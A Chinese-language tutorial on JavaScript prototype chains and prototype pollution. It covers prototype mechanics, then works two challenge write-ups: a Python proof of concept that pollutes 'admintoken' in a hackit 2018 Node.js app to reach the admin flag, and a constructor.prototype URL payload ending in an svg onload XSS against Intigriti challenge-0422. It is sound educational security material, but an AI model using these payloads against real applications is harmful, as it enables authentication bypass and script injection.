XSS原型鍊污染
- 1.原型鍊的概念
-
- 1.1 構造函數的缺點
- 1.2 prototype 屬性的作用
- 1.3 原型鍊
- 1.4 `constructor`屬性
- 1.5 `prototype`和`__proto__`
- 2. 原型鍊污染
-
- 2.1 原型鍊污染是什麼?
- 2.2 原型鍊污染的條件
- 2.3 原型連污染執行個體
-
- 2.3.1 hackit 2018
- 2.3.2 challenge-0422
- 3.總結
1.原型鍊的概念
面向對象程式設計很重要的一個方面,就是對象的繼承。A 對象通過繼承 B 對象,就能直接擁有 B 對象的所有屬性和方法。這對于代碼的複用是非常有用的。
大部分面向對象的程式設計語言,都是通過“類”(class)實作對象的繼承。傳統上,JavaScript 語言的繼承不通過 class,而是通過“原型對象”(prototype)實作,本章介紹 JavaScript 的原型鍊繼承。
雖然ES6題出了類的概念但是其底層實作還是通過原型鍊來完成的。
1.1 構造函數的缺點
JavaScript 通過構造函數生成新對象,是以構造函數可以視為對象的模闆。執行個體對象的屬性和方法可以定義在構造函數内部。
function Cat(name, color) {
this.name = name;
this.color = color;
}
var cat1 = new Cat('大毛', '白色');
console.log(cat1.name);
console.log(cat1.color);

上面代碼中,
Cat
函數是一個構造函數,函數内部定義了
name
屬性和
color
屬性,所有執行個體對象(上例是
cat1
)都會生成這兩個屬性,即這兩個屬性會定義在執行個體對象上面。
通過構造函數為執行個體對象定義屬性,雖然很友善,但是有一個缺點。同一個構造函數的多個執行個體之間,無法共享屬性,進而造成對系統資源的浪費。也就是說,每建立一個對應的對象,這部分對象間可以共享的固有屬性,必須得重新配置設定記憶體空間去存儲。引發資源浪費。
function Cat(name, color) {
this.name = name;
this.color = color;
this.meow = function () {
console.log('喵喵');
};
}
var cat1 = new Cat('大毛', '白色');
var cat2 = new Cat('二毛', '黑色');
cat1.meow === cat2.meow
結果:
上面代碼中,
cat1
和
cat2
是同一個構造函數的兩個執行個體,它們都具有
meow
方法。由于
meow
方法是生成在每個執行個體對象上面,是以兩個執行個體就生成了兩次。也就是說,每建立一個執行個體,就會建立一個
meow
方法。這既沒有必要,又浪費系統資源,因為所有
meow
方法都是同樣的行為,完全應該共享。
這個問題的解決方法,就是 JavaScript 的原型對象(prototype)。
即就是說,JS為了解決構造函數生成執行個體時,不同執行個體之間的共享屬性方法問題提出了原型鍊的概念。
1.2 prototype 屬性的作用
JavaScript 繼承機制的設計思想就是,原型對象的所有屬性和方法,都能被執行個體對象共享。也就是說,如果屬性和方法定義在原型上,那麼所有執行個體對象就能共享,不僅節省了記憶體,還展現了執行個體對象之間的聯系。(原型是一塊共享記憶體區域,在此處可以存放執行個體之間的共享元素)
下面,先看怎麼為對象指定原型。JavaScript 規定,每個函數都有一個
prototype
屬性,指向一個對象。
function f() {}
typeof f.prototype // "object"
我們發現,任何函數都有原型屬性,其指向一個對象。
對于普通函數來說,該屬性基本無用。但是,對于構造函數來說,生成執行個體的時候,該屬性會自動成為執行個體對象的原型。
function Animal(name) {
this.name = name;
}
//定義構造函數的原型對象的color屬性為 'white'
Animal.prototype.color = 'white';
//建立了兩個執行個體
var cat1 = new Animal('大毛');
var cat2 = new Animal('二毛');
//可以通路到執行個體自動擷取的color屬性
cat1.color // 'white'
cat2.color // 'white'
上面代碼中,構造函數
Animal
的
prototype
屬性,就是執行個體對象
cat1
和
cat2
的原型對象。原型對象上添加一個
color
屬性,結果,執行個體對象都共享了該屬性。
原型對象的屬性不是執行個體對象自身的屬性。隻要修改原型對象,變動就立刻會展現在所有執行個體對象上。
Animal.prototype.color = 'yellow';
cat1.color // "yellow"
cat2.color // "yellow"
上面代碼中,原型對象的
color
屬性的值變為
yellow
,兩個執行個體對象的
color
屬性立刻跟着變了。這是因為執行個體對象其實沒有
color
屬性,都是讀取原型對象的
color
屬性。也就是說,當執行個體對象本身沒有某個屬性或方法的時候,它會到原型對象去尋找該屬性或方法。這就是原型對象的特殊之處。
如果執行個體對象自身就有某個屬性或方法,它就不會再去原型對象尋找這個屬性或方法。
cat1.color = 'black';
cat1.color // 'black'
cat2.color // 'yellow'
Animal.prototype.color // 'yellow';
上面代碼中,執行個體對象
cat1
的
color
屬性改為
black
,就使得它不再去原型對象讀取
color
屬性,後者的值依然為
yellow
。
總結一下,原型對象的作用,就是定義所有執行個體對象共享的屬性和方法。這也是它被稱為原型對象的原因,而執行個體對象可以視作從原型對象衍生出來的子對象。
再比如我們在構造函數的原型上定義一個walk方法:
Animal.prototype.walk = function () {
console.log(this.name + ' is walking');
};
此方法可以在每一個執行個體中調用:
function Animal(name) {
this.name = name;
}
Animal.prototype.walk = function () {
console.log(this.name + ' is walking');
};
//建立了兩個執行個體
var cat1 = new Animal('大毛');
var cat2 = new Animal('二毛');
//執行個體中可以調用對應的方法
cat1.walk();
car2.walk();
到這裡,我們明白了原型的作用其實就是為構造函數建立的所有執行個體提供一個共享記憶體空間,在這個空間記憶體放的屬性方法,每一個建立的執行個體都可以調用。并且建立的執行個體允許擁有自己的新實作(修改預設的屬性,也就是自定義屬性)。
1.3 原型鍊
JavaScript 規定,所有對象都有自己的原型對象(prototype)。一方面,任何一個對象,都可以充當其他對象的原型;另一方面,由于原型對象也是對象,是以它也有自己的原型。是以,就會形成一個“原型鍊”(prototype chain):對象到原型,再到原型的原型……
因為構造函數的原型屬性指向的就是一個對象,是以這意味着什麼?當然是作為對象的原型,也擁有自己的構造函數(object),且其原型屬性且指向一個原型。
如果一層層地上溯,所有對象的原型最終都可以上溯到
Object.prototype
,即
Object
構造函數的
prototype
屬性。也就是說,所有對象都繼承了
Object.prototype
的屬性。這就是所有對象都有
valueOf
和
toString
方法的原因,因為這是從
Object.prototype
繼承的。
這裡的
object
是整個JS的基點,類似于宇宙的奇點,也就是說,作為
object
它也是構造函數,是以肯定也有原型屬性。而這個原型上面定義的就有tostring和valueof方法。是以,由它建立的所有JS函數也好、執行個體也罷。均可以通路這兩個函數。
那麼,
Object.prototype
對象有沒有它的原型呢?回答是
Object.prototype
的原型是
null
。
null
沒有任何屬性和方法,也沒有自己的原型。是以,原型鍊的盡頭就是
null
。
Object.getPrototypeOf(Object.prototype)
// null
上面代碼表示,
Object.prototype
對象的原型是
null
,由于
null
沒有任何屬性,是以原型鍊到此為止。
Object.getPrototypeOf
方法傳回參數對象的原型。
讀取對象的某個屬性時,JavaScript 引擎先尋找對象本身的屬性,如果找不到,就到它的原型去找,如果還是找不到,就到原型的原型去找。如果直到最頂層的
Object.prototype
還是找不到,則傳回
undefined
。如果對象自身和它的原型,都定義了一個同名屬性,那麼優先讀取對象自身的屬性,這叫做“覆寫”(overriding)。
注意,一級級向上,在整個原型鍊上尋找某個屬性,對性能是有影響的。所尋找的屬性在越上層的原型對象,對性能的影響越大。如果尋找某個不存在的屬性,将會周遊整個原型鍊。
舉例來說,如果讓構造函數的
prototype
屬性指向一個數組,就意味着執行個體對象可以調用數組方法。
var MyArray = function () {};
MyArray.prototype = new Array();
MyArray.prototype.constructor = MyArray;
var mine = new MyArray();
mine.push(1, 2, 3);
mine.length // 3
mine instanceof Array // true
上面代碼中,
mine
是構造函數
MyArray
的執行個體對象,由于
MyArray.prototype
指向一個數組執行個體,使得
mine
可以調用數組方法(這些方法定義在數組執行個體的
prototype
對象上面)。最後那行
instanceof
表達式,用來比較一個對象是否為某個構造函數的執行個體,結果就是證明
mine
為
Array
的執行個體。
1.4 constructor
屬性
constructor
prototype
對象有一個
constructor
屬性,預設指向
prototype
對象所在的構造函數。
function P() {}
P.prototype.constructor === P // true
由于
constructor
屬性定義在
prototype
對象上面,意味着可以被所有執行個體對象繼承。
function P() {}
var p = new P();
p.constructor === P // true
p.constructor === P.prototype.constructor // true
p.hasOwnProperty('constructor') // false
上面代碼中,
p
是構造函數
P
的執行個體對象,但是
p
自身沒有
constructor
屬性,該屬性其實是讀取原型鍊上面的
P.prototype.constructor
屬性。
constructor
屬性的作用是,可以得知某個執行個體對象,到底是哪一個構造函數産生的。
function F() {};
var f = new F();
f.constructor === F // true
f.constructor === RegExp // false
上面代碼中,
constructor
屬性确定了執行個體對象
f
的構造函數是
F
,而不是
RegExp
。
另一方面,有了
constructor
屬性,就可以從一個執行個體對象建立另一個執行個體。
function Constr() {}
var x = new Constr();
var y = new x.constructor();
y instanceof Constr // true
上面代碼中,
x
是構造函數
Constr
的執行個體,可以從
x.constructor
間接調用構造函數。這使得在執行個體方法中,調用自身的構造函數成為可能。
Constr.prototype.createCopy = function () {
return new this.constructor();
};
上面代碼中,
createCopy
方法調用構造函數,建立另一個執行個體。
constructor
屬性表示原型對象與構造函數之間的關聯關系,如果修改了原型對象,一般會同時修改
constructor
屬性,防止引用的時候出錯。
錯誤執行個體:
function Person(name) {
this.name = name;
}
Person.prototype.constructor === Person // true
//修改原型屬性的指向
Person.prototype = {
method: function () {}
};
//沒有主動修改該constructor的情況下,這裡會出現不一緻的情況
Person.prototype.constructor === Person // false
Person.prototype.constructor === Object // true
上面代碼中,構造函數
Person
的原型對象改掉了,但是沒有修改
constructor
屬性,導緻這個屬性不再指向
Person
。由于
Person
的新原型是一個普通對象,而普通對象的
constructor
屬性指向
Object
構造函數,導緻
Person.prototype.constructor
變成了
Object
。
// 壞的寫法
C.prototype = {
method1: function (...) { ... },
// ...
};
// 好的寫法
C.prototype = {
constructor: C,
method1: function (...) { ... },
// ...
};
// 更好的寫法 --- 避免對原型對象的直接修改,不破壞結構,用方法名區分
C.prototype.method1 = function (...) { ... };
上面代碼中,要麼将
constructor
屬性重新指向原來的構造函數,要麼隻在原型對象上添加方法,這樣可以保證
instanceof
運算符不會失真。
如果不能确定
constructor
屬性是什麼函數,還有一個辦法:通過
name
屬性,從執行個體得到構造函數的名稱。
function Foo() {}
var f = new Foo();
f.constructor.name // "Foo"
到這裡,我們捋清楚了constructor屬性的作用,其在是在原型中預設自帶的一個屬性,值為目前原型的擁有者(指向目前原型所屬的構造函數)。可以實作通過執行個體調用構造函數,做一些執行個體的拷貝功能。要注意的一點是,constructor屬性會自動修改數值,當我們人為的修改了原型屬性的指向時,還想用它通路構造函數的話,一定要記得将constructor的數值進行修改,不過更多的建議是不要對原型對象進行指向修改。可以用添加方法的形式在不破壞原型結構的情況下實作功能。
當然利用這個屬性我們可以實作通過執行個體通路原型對象:
<script>
function Person(name) {
this.name = name;
}
let per = new Person('batman');
console.log(Person.prototype);
console.log(per.constructor.prototype);
</script>
1.5 prototype
和 __proto__
prototype
__proto__
通過上面的學習,我們知道了prototype原型作為構造函數的屬性,其指向一個對象。我們可以給這個對象添加一些屬性、方法。這些添加在原型上的屬性方法,可以被執行個體對象無條件繼承。當然資料是隻有一份的。那麼如果我們想要在執行個體中直接通路構造函數的原型應該怎麼樣通路呢?
這樣?
function Foo() {
this.bar = 1
}
Foo.prototype.name = 'this is test for prototype';
var foo1 = new Foo();
console.log(foo1.name);
console.log(foo1.prototype);
那肯定是通路不到的,因為是這樣用的:
function Foo() {
this.bar = 1
}
Foo.prototype.name = 'this is test for prototype';
var foo1 = new Foo();
console.log(foo1.name);
console.log(foo1.__proto__);
到這裡,我們可以看到其實
__proto__
的作用就是讓執行個體對象可以通路到自己構造函數的原型對象。也就是說,一直通路我們可以看到原型鍊:
function Foo() {
this.bar = 1
}
Foo.prototype.name = 'this is test for prototype';
var foo1 = new Foo();
console.log(foo1.name);
console.log(foo1.__proto__);
console.log(foo1.__proto__.__proto__);
console.log(foo1.__proto__.__proto__.__proto__);
看到了吧,真的通過三次原型通路我們找到了null。因為我們的構造函數上一級就是
object
,是以上走兩級,就是
object
的原型,而
object
的原型又恰好定義為了
null
。是以我們可以看到這樣的現象。
2. 原型鍊污染
2.1 原型鍊污染是什麼?
我們通過一個簡單的例子來看一看,原型鍊污染的現象:
// foo是一個簡單的JavaScript對象
let foo = {bar: 1}
// foo.bar 此時為1
console.log(foo.bar)
// 通過對象修改foo的原型中的bar(即Object)
foo.__proto__.bar = 2
// 由于查找順序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此時再用Object建立一個空的zoo對象
let zoo = {}
// 檢視zoo.bar,值為修改後的2
console.log(zoo.bar)
也就是說,原型鍊污染的原因就是我們通過謀克可通路的對象,通過
__proto__
屬性,對其構造函數的原型對象進行修改。以此來影響後續此構造函數所建立的每一個執行個體的對應屬性。前提是這個執行個體沒有對該屬性進行自定義修改。
2.2 原型鍊污染的條件
在實際應用中,哪些情況下可能存在原型鍊能被攻擊者修改的情況呢?
我們思考一下,哪些情況下我們可以設定
__proto__
的值呢?其實找找能夠控制數組(對象)的“鍵名”的操作即可:
- 對象merge 用于結合,拼接
- 對象clone(其實核心就是将待操作的對象merge到一個空對象中) 複制
以對象merge為例,我們想象一個簡單的merge函數:
function merge(target, source) {
//循環取出source中的key
for (let key in source) {
//判斷key是否在源目均存在,存在就遞歸調用merge
if (key in source && key in target) {
merge(target[key], source[key])
} else {
//不存在直接讓源覆寫目
target[key] = source[key]
}
}
}
總結來說,這個函數的作用就是,進行對象之間的屬性傳遞,源對象的屬性會完全覆寫掉目的對象。目的對象沒有的,直接指派。目的對象有的,遞歸調用後,還是會将目的對像的相應屬性進行覆寫。
我們嘗試進行一次污染:
//定義了對象o1和o2,并在o2裡面添加了原型作為鍵
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
//這裡o1在複制的過程中會出現 o1._proto__ = {b:2}
//也就是說,後續可以用o3.b通路到原型屬性o3.__proto__.b=2
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
結果:
這裡并沒有像我們推理的那樣,污染到原型鍊。我們采用斷點分析,跟進分析:
直接沒有取出
__proto__
鍵,而是忽略掉了。僅僅取出了鍵a和鍵b。
這是因為,我們用JavaScript建立o2的過程(
let o2 = {a: 1, "__proto__": {b: 2}}
)中,
__proto__
已經代表o2的原型了,此時周遊o2的所有鍵名,你拿到的是
[a, b]
,
__proto__
并不是一個key,自然也不會修改Object的原型。
修改代碼:
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
繼續打斷點跟進:
可以看到,已經取出來
__proto__
作為鍵名了,自然最終可以實作原型鍊污染:
這是因為,JSON解析的情況下,
__proto__
會被認為是一個真正的“鍵名”,而不代表“原型”,是以在周遊o2的時候會存在這個鍵。
merge操作是最常見可能控制鍵名的操作,也最能被原型鍊攻擊,很多常見的庫都存在這個問題。
2.3 原型連污染執行個體
2.3.1 hackit 2018
這道題的靈感來自hackit2018,後端啟動了一個nodejs程式,提供兩個接口api和admin。使用者送出參數,利用原型鍊污染實作非法修改登入資訊,進而登陸admin。
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now
var matrix = [];
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
function draw(mat) {
var count = 0;
for (var i = 0; i < 3; i++){
for (var j = 0; j < 3; j++){
if (matrix[i][j] !== null){
count += 1;
}
}
}
return count === 9;
}
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
app.get('/', (req, res) => {
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
res.render('index');
})
app.get('/admin', (req, res) => {
/*this is under development I guess ??*/
console.log(user.admintoken);
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
}
else {
res.status(403).send('Forbidden');
}
}
)
app.post('/api', (req, res) => {
var client = req.body;
var winner = null;
if (client.row > 3 || client.col > 3){
client.row %= 3;
client.col %= 3;
}
matrix[client.row][client.col] = client.data;
for(var i = 0; i < 3; i++){
if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
if (matrix[i][0] === 'X') {
winner = 1;
}
else if(matrix[i][0] === 'O') {
winner = 2;
}
}
if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
if (matrix[0][i] === 'X') {
winner = 1;
}
else if(matrix[0][i] === 'O') {
winner = 2;
}
}
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
winner = 1;
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
winner = 2;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
winner = 1;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
winner = 2;
}
if (draw(matrix) && winner === null){
res.send(JSON.stringify({winner: 0}))
}
else if (winner !== null) {
res.send(JSON.stringify({winner: winner}))
}
else {
res.send(JSON.stringify({winner: -1}))
}
})
app.listen(3000, () => {
console.log('app listening on port 3000!')
})
擷取flag的條件是 傳入的querytoken要和user數組本身的admintoken的MD5值相等,且二者都要存在。
将上面的源碼放到路徑下,解決依賴之後就可以運作。我們先來看它的漏洞點:
//請求接口,admin頁面驗證失敗就傳回forbidden
app.get('/admin', (req, res) => {
/*this is under development I guess ??*/
console.log(user.admintoken);
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
}
else {
res.status(403).send('Forbidden');
}
}
)
//使用者送出參數的api接口
app.post('/api', (req, res) => {
var client = req.body;
var winner = null;
if (client.row > 3 || client.col > 3){
client.row %= 3;
client.col %= 3;
}
//漏洞點,此處使用者送出的row和col以及data均可控,那麼利用原型鍊污染的原理就可以污染object原型對象的參數。
//污染admintokrn為已知資訊
matrix[client.row][client.col] = client.data;
先進行本地測試:
可以實作,進行python的poc編寫:
import requests
import json
url1 = "http://127.0.0.1:3000/api"
#md5(batman) is the value of querytoken
url2 = "http://127.0.0.1:3000/admin?querytoken=ec0e2603172c73a8b644bb9456c1ff6e"
s = requests.session()
headers = {"Content-Type":"application/json"}
data1 = {"row":"__proto__","col":"admintoken","data":"batman"}
res1 = s.post(url1,headers=headers,data=json.dumps(data1))
res2 = s.get(url2)
print(res2.text)
效果:
2.3.2 challenge-0422
challenge-0422是世界著名的XSS挑戰網站其中的一期原型鍊污染挑戰。關于這個挑戰幾乎每一個月都會有一次。挑戰成功的人可以獲得一些獎品。當然難度也不低。大家有興趣的可以去參考學習。
0422的意思是22年4月份的題目。在對應URL進行更改即可。
我們來看這道題:
頁面上給了一個模拟windows的程式,顯然點選完畢後沒有任何反應。我們需要找到對應的JS源碼。我們看到源碼内部有一個iframe标簽。我們嘗試進入:
view-source:https://challenge-0422.intigriti.io/challenge/Window%20Maker.html
這樣一來的話,我們就可以開展對于其源碼的初步分析了:羅列出其主要的功能代碼,建議各位先揣摩揣摩。下面的内容可能有些難以了解
//main函數的位置
function main() {
//利用qs接收url中?以及以後的内容,并對其進行
const qs = m.parseQueryString(location.search)
let appConfig = Object.create(null)
appConfig["version"] = 1337
appConfig["mode"] = "production"
appConfig["window-name"] = "Window"
appConfig["window-content"] = "default content"
//在JS中["string"]的寫法,表明這裡是一個數組指派
appConfig["window-toolbar"] = ["close"]
appConfig["window-statusbar"] = false
appConfig["customMode"] = false
if (qs.config) {
//第一次merge的調用位置
merge(appConfig, qs.config)
//這裡把定制按鈕打開
appConfig["customMode"] = true
}
//又開始建立對象devsettings
let devSettings = Object.create(null)
//一系列的指派,root接收到的是标簽對象
devSettings["root"] = document.createElement('main')
devSettings["isDebug"] = false
devSettings["location"] = 'challenge-0422.intigriti.io'
devSettings["isTestHostOrPort"] = false
//調用了這裡的checkhost函數作為依據,進入第二次調用merge
if (checkHost()) {
//鍵值判斷 測試主機端口辨別位 置1
devSettings["isTestHostOrPort"] = true
//調用merge覆寫devsettings,覆寫用的參數是qs的settings表明我們可以傳遞settings這樣一個參數進去
merge(devSettings, qs.settings)
}
//判斷是測試主機或者debug模式就列印兩個對象appConfig和devSettings
if (devSettings["isTestHostOrPort"] || devSettings["isDebug"]) {
console.log('appConfig', appConfig)
console.log('devSettings', devSettings)
}
//根據custommode的值對devsettings.root采取不同的内容挂載
if (!appConfig["customMode"]) {
m.mount(devSettings.root, App)
} else {
m.mount(devSettings.root, {
view: function () {
return m(CustomizedApp, {
name: appConfig["window-name"],
content: appConfig["window-content"],
options: appConfig["window-toolbar"],
status: appConfig["window-statusbar"]
})
}
})
}
//将devSettings.root插入到body裡面去
document.body.appendChild(devSettings.root)
}
//擷取目前頁面的location資訊,提取host僅當端口号為8080時傳回true或者hostname為127.0.0.1
//傳回true
function checkHost() {
const temp = location.host.split(':')
const hostname = temp[0]
const port = Number(temp[1]) || 443
return hostname === 'localhost' || port === 8080
}
//判斷是否非本源?
function isPrimitive(n) {
return n === null || n === undefined || typeof n === 'string' || typeof n === 'boolean' || typeof n === 'number'
}
//進階版的merge函數,内部對于敏感字元特别是"__proto__"進行了過濾
function merge(target, source) {
let protectedKeys = ['__proto__', "mode", "version", "location", "src", "data", "m"]
//從源中擷取鍵值
for (let key in source) {
//遇到了包含敏感字元的鍵直接跳出循環一次予以忽略
if (protectedKeys.includes(key)) continue
//疊代進行merge的指派
//判斷資料類型,類型符合就将其送入sanitize進行過濾。之後在進行指派
if (isPrimitive(target[key])) {
target[key] = sanitize(source[key])
} else {
merge(target[key], source[key])
}
}
}
//過濾函數,判斷輸入是否是字元串,如果是字元串就對其進行過濾
function sanitize(data) {
if (typeof data !== 'string') return data
return data.replace(/[<>%&\$\s\\]/g, '_').replace(/script/gi, '_')
}
main()
})()
上面的代碼分析完了我們就要開始着手解題了。先找特征函數merge函數。總共出現了兩次,第一次觸發是無條件的,對
appconfig
做了修改。目前看來,沒有啥大用。第二次呢,是有條件的調用,調用前必須有一個校驗函數的傳回值為1。通過上面的分析。
作為checkhost函數,其判斷依據就是請求的主機名和端口号。目前看來,也是沒有任何辦法讓其檢測通過。
再看第二個merge的作用,第二個merge修改覆寫了
devSettings
這個參數,顯然,在main函數結尾,使用了
document.body.appendChild(devSettings.root)
這讓人眼前一亮的插入行為。
大緻的思路出來了,我們得先想辦法幹擾checkhost函數,才有望對插入的
devconfigs.root
進行污染。我們此時再來看看這個函數:
function checkHost() {
//擷取了參數
const temp = location.host.split(':')
//用了temp數組進行參數的取出
const hostname = temp[0]
//繼續調用temp[1]來取端口号,斯,端口号肯定沒顯示,取不出來。
//那就預設443咯
const port = Number(temp[1]) || 443
return hostname === 'localhost' || port === 8080
}
回想一下原型鍊污染的基本概念,使用執行個體通路原型對象并建立相應屬性,對新建立的沒有該屬性的執行個體進行污染。這裡的temp有沒有
.1
這個屬性?沒有吧,那我們就構造如下參數進行污染:
https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][c
onstructor][prototype][1]=8080
//我們就是通路到了object.ptototype.1 = 8080 後續建立的temp雖然沒有.1這個屬性
//但是object作為始祖原型擁有此屬性,通過系統循環,找到了這個屬性并且值恰好是8080
//于是,繞過了此處的checkhost函數,成功将對sttings的merge引入執行流程。
現在你肯定有兩個疑問:
Q1:為什麼不用
__proto__
通路原型對象?
A1:在進行merge的時候,作者壞壞的過濾了這個參數,遇到這個字元直接會跳出目前循環,忽略它的存在
Q2:控制台裡為什麼有多處了兩個對象?
A2:因為在這裡,有判斷輸出的代碼
//判斷是測試主機或者debug模式就列印兩個對象
appConfig和devSettings
if (devSettings[“isTestHostOrPort”] || devSettings[“isDebug”]) {
console.log(‘appConfig’, appConfig)
console.log(‘devSettings’, devSettings)
}
接下來我們的目标就是污染setting參數,想辦法插入完整的JS代碼完成XSS:
https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][c
onstructor][prototype][1]=8080&settings[root][ownerDocument][body][children][1][outerHTML]
[1]=%3Csvg%20onload%3Dalert(1)%3E
後面
setting
的參數是一級一級找尋插入點得到的。比如這樣:
最終彈窗效果:
注意,這個彈窗又是隻能在firefox之外的浏覽器上生效。不過無傷大雅,大家能大緻了解這個思路就行。通過二次原型鍊污染,最終插入的我們的JS代碼實作了一個XSS彈窗。
3.總結
首先,原型對象的提出是為了解決JS代碼中,使用構造函數建立多個有重複屬性方法執行個體時的引發的資源浪費問題。通過給構造函數賦予
prototype
屬性(該指向一個具有共享功能的原型對象),所有寫到原型對象中的屬性方法都預設被執行個體繼承。當然這并不妨礙執行個體自定義屬性和方法。這就是原型的工作原理。
作為原型對象執行個體,自然有自己的構造函數(object),故
object.prototype
上指定的方法會被所有JS函數擁有,也就是我們常說的任何對象都有
tostring
方法和
valueof
方法。作為始祖
protottpe
,始祖原型的它,它的構造函數不存在,故想要通路它的原型對象時,隻會傳回null。
但是也正是這一機制的存在,構成了原型鍊,即就是說,任意一個對象通路其不存在的方法屬性時,會先找自己的原型對象,自己的原型對象沒有時就會再找原型對象的原型對象,循環往複,直到找到
object
的原型對象的原型對象傳回了
null
才停止尋找。自然,原型鍊過長會影響性能。
那麼,所謂的原型鍊污染,其原理就是,通過對于某一執行個體的原型對象屬性的修改,讓與其同構造函數建立的執行個體在後續程式運作中,調用被修改過的屬性。進而達到影響程式執行程序,實作惡意XSS或其他惡意行為的攻擊。其對多見于merge這樣的指派函數。
那麼在merge函數中,要使用原型鍊污染就必須将原型鍊插入到目标裡面去,為了解決merge運作時預設不識别
__proto__
的問題,我們會對傳入merge的參數進行json化處理。依次達到效果,這在hackit2018的payload中有所展現。
那麼,在通過執行個體通路原型對象的過程中,我們不僅僅可以使用
__proto__
還可以使用
constructor.prototype
通路。同樣可以達到效果,這在
challenge-0422
挑戰中也是作為繞過方法使用。
總的來說,原型鍊污染這個話題還是有很多更加深入的内容值得探究,本文也隻是淺嘗辄止。諸位要是有興趣的話可以再深入探究。随着前端技術能實作的功能日益加強,其出現的安全問題同樣不容小視。
路還很長,特别是對于代碼的基礎功底。還有很長一段路要走,共勉!
在補充一句,原型鍊污染的預防個人覺得隻能從代碼書寫角度去進行防範,任何會進入到merge的參數都進行過濾。如此一來,可以阻擋一部分原型鍊污染攻擊。